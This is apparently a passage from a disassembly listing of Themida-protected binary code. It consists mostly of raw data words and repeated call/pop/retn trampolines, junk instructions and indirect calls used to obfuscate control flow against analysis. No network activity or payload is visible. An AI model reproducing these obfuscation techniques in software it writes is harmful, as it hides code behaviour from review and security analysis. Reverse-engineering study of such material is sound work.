		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 3CC35242h
		dd 72066A87h, 956ECF2Ch, 12E8h,	0D4E6BD00h, 0AC4BC82h
		dd 0EF3B6A1Ah, 4005F44Bh, 1D7EAF9h, 0FA29319Dh,	0C2835B07h
		dd 0A5BD0104h, 0E807FA1Eh, 11h,	46EC499Eh, 0AC939B3Bh
		dd 0AB1250E9h, 3E0B60C2h, 9E94Bh, 0DC390000h, 0B494E918h
		dd 5F44DC25h, 89205089h, 0FA2921B5h, 11E907h, 0C6530000h
		dd 1FCAEDC7h, 4E51AFB0h, 0CEF2EB7Bh, 8DDC6A45h,	0FE90A385h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 9D0BC9F4h, 7FA07F9h, 0B88689h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 5E555DC3h, 0FBB70F99h, 5E9006Ah, 0C3000000h,	775B2631h
		dd 7BF8B5FFh, 75BF07FEh, 0FF364101h, 0FA1EF995h, 759D8B07h
		dd 9607FA13h, 96F4B350h, 7BF8B5FFh, 6A07FEh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0B6AE79C3h
		dd 0E05C2BF2h, 6595FFF4h, 6607FA07h, 8012AEBBh,	0BD8358E7h
		dd 7FA1EC5h, 65840F00h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0DD86C356h
		dd 0A7600E2Dh, 85093642h, 7FA0CB5h, 0EDDDBB50h,	348932EDh
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 8F5A803Fh, 7E9BB17h, 890F2635h, 8, 28F0Fh
		dd 5F520000h, 7BF8B5FFh, 10E807FEh, 71000000h, 0AA581646h
		dd 62AC76E9h, 7C71E170h, 893344F5h, 0FA06CD95h,	95FF5B07h
		dd 7FA18F5h, 7BF8B5FFh,	6A07FEh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 3139E3C3h, 2927665Ch
		dd 0FA24B5B5h, 0B195FF07h, 6A07FA1Eh, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8982C353h
		dd 0FA14C585h, 0D88B6607h, 26F5BD83h, 0F0207FAh, 3784h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0F1BD8B21h, 8B07FA09h, 0FA141985h, 0AD9D8907h
		dd 0C607FA03h, 9D8B0000h, 7FA0C89h, 5B185C7h, 7FAh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0CA3B67C3h, 0BB53DF1Dh, 0FA33507h, 688h, 0D98D8900h
; ---------------------------------------------------------------------------
		daa
		cli
		pop	es


loc_5FBD5F:				; CODE XREF: Themida_:005FB926j
					; Themida_:005FB939j
		jmp	loc_5FB18A
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+7FA16C5h]
		mov	eax, ecx
		push	0
		push	edx
		call	sub_5FBD77
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FBD77	proc near		; CODE XREF: Themida_:005FBD6Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5FBD77	endp

; ---------------------------------------------------------------------------
		db 46h
		dd 19556F4h, 0E86A37F5h, 0Bh, 0FC06CC5Dh, 6CE9C0F3h, 666B9F14h
		dd 8D5BDF8Bh, 0FA150D85h, 85296007h, 7FA213Dh, 0BF61D98Bh
		dd 36FCF39Dh, 8599BB50h, 4891B75h, 56006A24h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 85858904h
		dd 6607FA24h, 6A788ABBh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 6A755C4Eh, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0FCD3D398h, 5B49178Eh, 9D8B5050h, 7FA1E25h, 45858D5Bh
		dd 6A07FFA4h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 3171C352h, 8B74D684h, 0FA18999Dh
		dd 5C08307h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	0E4C35242h, 0F7BDD407h,	8B5D04D8h, 6E8DAh, 0BD5D0000h
		dd 0DBE919C6h, 5BF9BF0Fh, 8EBB6650h, 24048920h,	0B501006Ah
		dd 7FA1959h, 0D381006Ah, 70E10AE2h, 174D95FFh, 8D8D07FAh
		dd 7FE7ADBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	36C35747h, 0C996BB94h, 89D1FFA5h, 0FA022DB5h, 0ADBD8307h
		dd 107FA27h, 57850Fh, 0F7810000h, 3CE48AE8h, 6A026Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0ADE321C3h, 11E990F6h, 0AF000000h, 4D15E54Dh, 0E3CA79E3h
		dd 0BEB6024Ch, 0F7A041Fh, 77BB6650h, 0BD8B90F5h, 7FA256Dh
		dd 95FFD98Bh, 7FA1EF9h,	0B3F78166h, 0DC5E936h, 0E80000h
		dd 5D000000h, 0A44FED81h, 8D0907FFh, 7FA15F9h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0CAC35343h, 26E344A5h
		dd 29F6A955h, 0FA1929BDh, 0A2858D07h, 6007FE4Fh, 1DCA8166h
		dd 519D8B5Ah, 6107FA31h, 0AA4EBF90h, 66503B8Dh,	9087B5BFh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0EC35242h
		dd 6A1327BEh, 0A728CBAh, 9D8960F8h, 7FA2BF5h, 0BE861h
		dd 0BE960000h, 497DA17Fh, 359D2101h, 59D8B21h, 5F07FA35h
		dd 35FF64h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 4D28C352h, 64971C38h
		dd 89849999h, 0FA13F98Dh, 25896407h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5FC02F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FC02F	proc near		; CODE XREF: Themida_:005FC027p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5FC02F	endp

; ---------------------------------------------------------------------------
		db 9
; ---------------------------------------------------------------------------
		xchg	eax, ecx
		test	eax, 49F27EAh
		and	ebx, [ebp+7FA33E5h]
		sub	edi, [ebp+7FA06D1h]
		inc	dword ptr [ebp+7FA3125h]
		sbb	di, 5FC0h
		push	0FFFFFFFFh
		xor	[ebp+7FA0AD1h],	esi
		push	dword ptr [ebp+7FA05EDh]
		mov	di, dx
		call	dword ptr [ebp+7FA018Dh]
		jmp	loc_5FC19A
; ---------------------------------------------------------------------------
		db 0BFh, 5Dh, 9Fh
		dd 0B06CBBh, 34399D8Bh,	70E607FAh, 5A99D89h, 71E407FAh
		dd 0FE9h, 7909EC00h, 0CD74D480h, 8B5DEFFDh, 0A418B1EAh
		dd 830F613Ch, 0EEh, 3BF0DF81h, 0B60F5961h, 3D9D89C8h, 0F07FA21h
		dd 68Fh, 9D858900h, 0BA07FA1Eh,	6, 0E3816651h, 8B5BDCA4h
		dd 11BD8BC1h, 0C107FA0Ch, 89F804E8h, 0FA1DFD95h, 0E2F76607h
		dd 2800Fh, 0D88B0000h, 0C82B98B3h, 9E34BF66h, 0FE8BD18Bh
		dd 99E9h, 459D0B00h, 8B07FA35h,	185h, 0FE900h, 177B0000h
		dd 607B0DACh, 651E4E0Ah, 46AC5A37h, 7C083FBh, 0C083DE8Bh
		dd 1DBD8B00h, 3B07FA06h, 1C830FD0h, 81000000h, 0BB0F66DBh
		dd 99D8B1Fh, 0E907FA0Ch, 52h, 69E38166h, 0E9B501F2h, 8B07FA2Bh
		dd 0FFFFFF8Dh, 13E9FFh,	24730000h, 0CCB2C91Dh, 910F1B0Dh
		dd 158DB7B7h, 62D885A5h, 1E18324h, 20840Fh, 8D890000h
		dd 7FA27F5h, 0FFFFA583h, 89FEFFFFh, 195h, 0C5D3BB00h, 0D7806265h
		dd 0E933h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FC19A:				; CODE XREF: Themida_:005FC074j
		lea	esi, [ebp+7FF191Bh]
		push	0
		xor	[ebp+7FA0711h],	edx
		call	dword ptr [ebp+7FA012Dh]
		push	0
		push	ecx
		call	sub_5FC1B9
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FC1B9	proc near		; CODE XREF: Themida_:005FC1B1p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5FC1B9	endp

; ---------------------------------------------------------------------------
		rcl	byte ptr [ecx-316FA28Eh], 1
		mov	ebx, 619D8BF0h
		or	dl, bh
		pop	es
		mov	ecx, 0F49h
		push	0
		push	ecx
		call	sub_5FC1E7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FC1E7	proc near		; CODE XREF: Themida_:005FC1DFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5FC1E7	endp

; ---------------------------------------------------------------------------
		mov	dh, 93h
		pop	ecx
		aad	83h
		pop	edi
		stosd
		fldcw	word ptr [edi+8]
		and	ecx, 0FFFFFFFCh
		push	0
		push	ecx
		call	sub_5FC20F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FC20F	proc near		; CODE XREF: Themida_:005FC207p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5FC20F	endp

; ---------------------------------------------------------------------------
		test	eax, 0C5E17C1Dh
		mov	edi, edx
		mov	[ebp+7FA2DD9h],	eax
		mov	edi, 20B80A42h
		cld
		and	bl, 11h
		mov	eax, 0
		push	0
		push	esi
		call	sub_5FC245
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FC245	proc near		; CODE XREF: Themida_:005FC23Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5FC245	endp

; ---------------------------------------------------------------------------
		db 0EFh, 11h, 0E5h
		dd 9D6ACCE1h, 0C4BB66F0h, 0BAEEh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 57F87BC3h
		dd 0BF0F60ABh, 0A1B58BD9h, 6107FA15h, 0A91BD8Bh, 0BD8B07FAh
		dd 7FA1A3Dh, 0D1C233ADh, 83D003E8h, 0F47504E9h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0C5C35141h, 0F167BDC4h
		dd 0DF813BF4h, 0CEA3E7Eh, 0C5D1BB66h, 880Dh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 7C077CDBh, 8B046BB3h, 0FA27C195h, 52006A07h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0CA2D019Dh
		dd 0AE9A85Fh, 13000000h, 92463510h, 34FBFB60h, 0DA8B6683h
		dd 1C018D8Bh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 9A60EBC3h, 60A07A07h, 1DA99D89h
		dd 61FC07FAh, 0F8FE8B66h, 8BC28B50h, 8BC10318h,	0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 3B33FAC3h, 0BFE2ACF6h, 8BBA8D1Ah
		dd 0FA1B3DBDh, 41BD8307h, 7FA07h, 6A840Fh, 9D890000h, 7FA0B8Dh
		dd 0B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 0C649CF6h, 0E952E62Ah, 5,	0D21EC580h
		dd 8D8D5B8Fh, 7FA4F53h,	0FFFAB70Fh, 50006AE1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0AEC55032h
		dd 62D77B8Ah, 1A12BB66h, 1AEDBD83h, 0F0007FAh, 3A584h
		dd 0DDBD8900h, 8307FA04h, 0FA1AEDBDh, 840F0107h, 3ADh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 3EC35343h
		dd 0E9469473h, 0Ch, 7A8B4D4Dh, 350F7F6Ch, 4CD059Bh, 1AEDBD83h
		dd 0F0307FAh, 33A86h, 519D2B00h, 8107FA1Bh, 1D693FF7h
		dd 85896044h, 7FA1771h,	6AD98C66h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 130AC355h
		dd 0E180031Fh, 53006A04h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0A45910E7h, 0EB0C53C2h
		dd 6C52BF66h, 8860Fh, 89600000h, 0FA06B99Dh, 0C90A6107h
		dd 0FC840Fh, 85890000h,	7FA154Dh, 17D5858Bh, 0E4BF07FAh
		dd 33415BEAh, 0FA1A4185h, 25BD0907h, 5007FA08h,	89DF8B66h
		dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 4E90DDC3h, 6AF88AC4h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0B9026165h
		dd 0A59FE23h, 0EE99Dh, 0C8B90000h, 0C5204D80h, 5396B57Eh
		dd 0F3A82E80h, 2AF78166h, 3A3968E9h, 52501954h,	0B412BB66h
		dd 2BBB310Fh, 5A6EB8A1h, 24348158h, 194B39C6h, 1D4DBD01h
		dd 95FF07FAh, 7FA1785h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0BDC35141h, 7BF88589h, 9D0107FEh, 7FA3299h
		dd 178E9h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 0BB694B92h, 34599D23h, 858B07FAh
		dd 7FE7BF0h, 8BF8C780h,	0FA1B859Dh, 1800C707h, 89000000h
		dd 0FA19019Dh, 0F4B58B07h, 6A07FE7Bh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0F33AC351h
		dd 6E1858Bh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0BC9BC6C3h, 0FA4AFC2Fh, 0F8FFB8C4h
		dd 6A0689h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 6060F1C3h, 1E63CAF9h, 0D5858B60h,	8907FA17h
		dd 0DE8B0446h, 0D88B6096h, 7BB65250h, 5250310Fh, 585A310Fh
		dd 5061585Ah, 603B67BBh, 8D319615h, 7FA276Dh, 7BF0B5FFh
		dd 8D8907FEh, 7FA04F9h,	10DB4068h, 81D88BAEh, 28BF2404h
		dd 8DF8520Eh, 0FE7BF885h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0BD8B51B3h
		dd 7FA0379h, 6840F5Bh, 31000000h, 0FA0CF1B5h, 12E907h
		dd 11540000h, 0BED63E1Ch, 84C446BFh, 6060F13Bh,	1E63CAF9h
		dd 28A0F50h, 8B000000h,	240489FBh, 14E9h, 62CA9E00h, 150069AEh
		dd 0C96785FAh, 92FC9744h, 7BBD70EEh, 8595FFB0h,	8B07FA17h
		dd 0FA1EC99Dh, 6A6107h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 65ED18C3h, 0AB825DC4h, 85C77AD2h
		dd 7FA1AEDh, 3,	9D8BDF8Bh, 7FA05DDh, 7BF8BD83h,	0F0007FEh
		dd 3284h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0FCB37F40h, 0BD2BBAEEh, 7FA1BC1h
		dd 21E9h, 95958900h, 5007FA2Dh,	110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0E8B3FAC3h, 0Fh, 0B00ABAA0h
		dd 5FC2F8E0h, 0FD135090h, 8B0D2085h, 0FA1AC99Dh, 8D895B07h
		dd 7FA0585h, 0A851DF81h, 0BD83357Fh, 7FA1AEDh, 54850F03h
		dd 6A000004h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 58BFC350h, 2299CF0Dh, 0B73692F4h
		dd 7DBD8B7Ah, 8307FA21h, 0FE7BF8BDh, 840F0007h,	41Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 13C35242h, 80BB3E7Bh
		dd 92639E86h, 1AE58D89h, 0B75607FAh, 0B5FF5F6Dh, 7FE7BF8h
		dd 7ACB8166h, 4D95FFE3h, 6A07FA01h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0BF94C357h
		dd 1AAB8B2h, 7BECB58Bh,	6C707FEh, 10001h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 0C7C35747h, 0F46FB5A1h
		dd 11519D03h, 505007FAh, 0D98A5352h, 0F310F5Fh,	8Dh, 89585A00h
		dd 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0A11B6FC3h, 31B783C1h, 0B5FFFB8Bh, 7FE7BF8h
		dd 161D95FFh, 0EF8007FAh, 0CE90Ah, 4F870000h, 2FE51FE5h
		dd 0AE0F928Fh, 0B58B1DECh, 7FE7BECh, 10019589h,	840F07FAh
		dd 6, 292D9D89h, 858B07FAh, 7FA0B09h, 39958957h, 5B07FA1Fh
		dd 89DE8B66h, 0C486h, 0FA8B6600h, 27C1958Bh, 8D0F07FAh
		dd 0
; ---------------------------------------------------------------------------
		xor	ebx, 7B0B8E39h
		add	edx, 4
		push	0
		push	eax
		call	sub_5FC9CC
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FC9CC	proc near		; CODE XREF: Themida_:005FC9C4p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5FC9CC	endp

; ---------------------------------------------------------------------------
		dd 0AB1C4CE5h, 0FEA1FE4h, 0B83h, 58E0F00h, 0BF000000h
		dd 6E90FAA8h, 0B1DB8166h, 205089FCh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0F8C35747h,	0EA9825h, 0DE9CCh
		dd 0A6490000h, 0C4C2E751h, 51938E40h, 0E98AA06Ah, 12h
		dd 0B5E6FCEBh, 0BA4E2E8Eh, 76508D28h, 28D94AD5h, 858DFCA2h
		dd 7FE90A3h, 1DEDBD8Bh,	868907FAh, 0B8h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 14h, 0C9C35747h, 31919D03h
		dd 6A07FAh, 0A78BF66h, 7BF8B5FFh, 8B6607FEh, 0F995FFDEh
		dd 6A07FA1Eh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 3463C357h, 9612B72Bh, 5050F88Bh
		dd 0E8F0F52h, 0E8000000h, 8, 0A1F4C767h, 23A1ADE4h, 66310F5Fh
		dd 5AA70BBFh, 0C3819658h, 60049AE9h, 7BF8B5FFh,	13E907FEh
		dd 0E000000h, 9A8FA7C3h, 0DC669ECh, 2D44AFFDh, 0C2AF0B4Fh
		dd 95FF84BCh, 7FA0765h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0D8C35141h, 0FB80A686h, 494FBBDBh, 6870FA3h
		dd 33000000h, 0FA0FFD9Dh, 0C5BD8307h, 7FA1Eh, 27840Fh
		dd 0BB660000h, 9D8B474Bh, 7FA1CB5h, 8E850h, 0FDB60000h
		dd 893E590Ah, 89BF9F25h, 5B696C35h, 89243489h, 0FA1C499Dh
		dd 0F8B5FF07h, 0E907FE7Bh, 11h,	999D9D79h, 0F7161FC0h
		dd 0FE2BC48Bh, 3CC1B091h, 0F595FF42h, 6A07FA18h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 8A14C356h, 3CAF2519h, 0EB9AF381h, 0B5FF291Dh, 7FE7BF8h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 33C35646h
		dd 1A7D7823h, 0BB6053C3h, 752A94DAh, 561B58Bh, 0FF6107FAh
		dd 0FA1EB195h, 0BD8BF807h, 7FA23F5h, 26F5BD83h,	0F0207FAh
		dd 7F84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 12631EA4h, 810F234Ch, 4, 4EE4BF66h
		dd 1419858Bh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0DD65DCC3h, 0C5F36FCAh, 0C6C46Fh
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0F460C5DAh, 0B5292858h, 7FA1561h, 5B185C7h
		dd 7FAh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 1B0424h, 53430000h, 0AA59DEC3h, 39BC6D50h, 99D89E4h
		dd 0E907FA0Ch, 0FFFFF3ADh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 59C35747h, 8073EABDh,	60F88B0Eh, 13E8h
		dd 16B9E00h, 0A159B7F3h, 0D2D8217h, 8119AE52h, 36BAB4A3h
		dd 61596160h, 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 8166E1C3h, 8D42BCDBh, 0FA150D85h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 8BACA3B9h, 8D8B60F8h, 7FA2B05h, 0F0B75061h
		dd 6A240489h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0C21DC356h, 98A89D52h,	8CC78166h
		dd 6A006A3Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0B1A0C351h, 31840AF6h,	0BD89AD21h
		dd 7FA2C01h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 1BACC5C3h, 2890Fh, 0D88B0000h, 6DBD0B56h
		dd 5B07FA2Eh, 0B425858Dh, 0BD2B07FFh, 7FA0571h,	0E905C083h
		dd 10h,	138F9699h, 8634D032h, 32EE44DAh, 0CFC135BDh, 3191B589h
		dd 505007FAh, 895BF88Bh, 6A2404h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 811CE7C3h, 0F93B84CBh
		dd 6A006A3Eh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 34A1C352h, 924AA4A1h, 0CE83Ch
		dd 0E02D0000h, 0D61BEE5Fh, 31263751h, 0BF0FE553h, 6A5FDEh
		dd 174D95FFh, 8B6007FAh, 0FA154195h, 28D0F07h, 60000000h
		dd 0B5896161h, 7FA2601h, 7ADB8D8Dh, 0BD0B07FEh,	7FA05A5h
		dd 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 5BB02BC3h, 0BD8BAB69h, 7FA0575h, 27ADBD83h
		dd 0F0107FAh, 7485h, 5880F00h, 66000000h, 8B51F381h, 6A026Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0FCF48C3h, 0DF8BF8B7h, 50575750h, 5A310F52h,	895F5B58h
		dd 9D8B2404h, 7FA0799h,	58DBD8Bh, 95FF07FAh, 7FA1EF9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 61C35545h
		dd 8974E0DCh, 8B1B9B43h, 0EB1E9FBh, 0E80000h, 5D000000h
		dd 0B42FED81h, 6A07FFh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0A1F30BC3h, 299D8B29h, 0F07FA11h
		dd 28Bh, 8DD98B00h, 0FE4FA285h,	56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 905FC2F8h
		dd 85FD1350h, 5E920h, 306E0000h, 50E94B12h, 0C78B6660h
		dd 24048961h, 15099D89h, 0EE907FAh, 7000000h, 0A640EC23h
		dd 5BC517AAh, 0EBFFD1ACh, 35FF64A6h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5FCFCF
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FCFCF	proc near		; CODE XREF: Themida_:005FCFC7p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5FCFCF	endp

; ---------------------------------------------------------------------------
		db 0EDh
; ---------------------------------------------------------------------------
		fidiv	word ptr [edi]
		lea	edx, [ebp-55BFBF8Ah]
		mov	eax, ds:193D9D89h
		cli
		pop	es
		mov	ebx, [ebp+7FA28F1h]
		pusha
		jmp	loc_5FD004
; ---------------------------------------------------------------------------
		db 6Eh
		dd 1EEF287Ch, 44E9A854h
; ---------------------------------------------------------------------------


loc_5FD004:				; CODE XREF: Themida_:005FCFF6j
		movsx	ecx, dx
		popa
		mov	large fs:0, esp
		call	sub_5FD021
		dec	esi
		jl	short near ptr loc_5FD01C+3
		mov	ds:0D0168EEDh, eax


loc_5FD01C:				; CODE XREF: Themida_:005FD015j
		call	near ptr 0CF096DCEh

; =============== S U B	R O U T	I N E =======================================



sub_5FD021	proc near		; CODE XREF: Themida_:005FD00Fp
		mov	ebx, [ebp+7FA12D1h]
		pop	ebx
		sub	[ebp+7FA0689h],	esi
		inc	dword ptr [ebp+7FA3125h]
		mov	edi, [ebp+7FA2ABDh]


loc_5FD03A:				; CODE XREF: Themida_:005FDDB6j
		push	0FFFFFFFFh
		push	0
		push	ecx
		call	sub_5FD047
		and	[ecx-3Dh], bl
sub_5FD021	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5FD047	proc near		; CODE XREF: sub_5FD021+1Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5FD047	endp

; ---------------------------------------------------------------------------
		db 8
		dd 7DA0B303h, 0F9B9D8B2h, 8D09D98Ah, 7FA00C1h, 2651B5FFh
		dd 0D88A07FAh, 18D95FFh, 59E907FAh, 89000001h, 0FA1AC185h
		dd 100B007h, 0FA099595h, 8170E607h, 33C3BF3h, 0F99D2966h
		dd 0E407FA14h, 6860F71h, 89000000h, 0FA25E185h,	0F613C07h
		dd 12783h, 51BD8B00h, 0F07FA33h, 6BAC8B6h, 81000000h, 0C4CEE6F3h
		dd 0BBC18B21h, 798EA6F2h, 0F04E8C1h, 689h, 859D8B00h, 6607FA32h
		dd 160E2F7h, 0FA1CCD8Dh, 11B50907h, 6107FA1Ah, 3CBFC82Bh
		dd 8B565860h, 0E9BD8BD1h, 0E907FA17h, 0D8h, 0E9DF8B66h
		dd 12h,	796415Dh, 63FBA866h, 2DD4F7D9h,	0C1328A9Fh, 858B0EAEh
		dd 4, 10E8h, 37539B00h,	4023FB68h, 8E1285F7h, 86E67FCDh
		dd 870F14h, 5B000000h, 6007C083h, 0BF0FD98Bh, 0C08361FAh
		dd 0A59D8900h, 8107FA18h, 0BF0A51D3h, 0FD03B4Ah, 1183h
		dd 35BD8B00h, 0E907FA21h, 70h, 11358D89h, 8D8B07FAh, 0FFFFFFFFh
		dd 14A1BD89h, 0E18307FAh, 55840F01h, 0E8000000h, 5, 5879F1D2h
		dd 9E8F7h, 3A1F0000h, 5E511F31h, 313A89BDh, 0FA25A98Dh
		dd 895F5F07h, 0FA068595h, 0FFA58307h, 0FEFFFFFFh, 16059D8Bh
		dd 15207FAh, 0FA13A585h, 95895F07h, 4, 0AE9h, 86857300h
		dd 0E1820309h, 0E967BC13h, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+7FF2864h]
		push	0
		push	ebx
		call	sub_5FD1E5
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



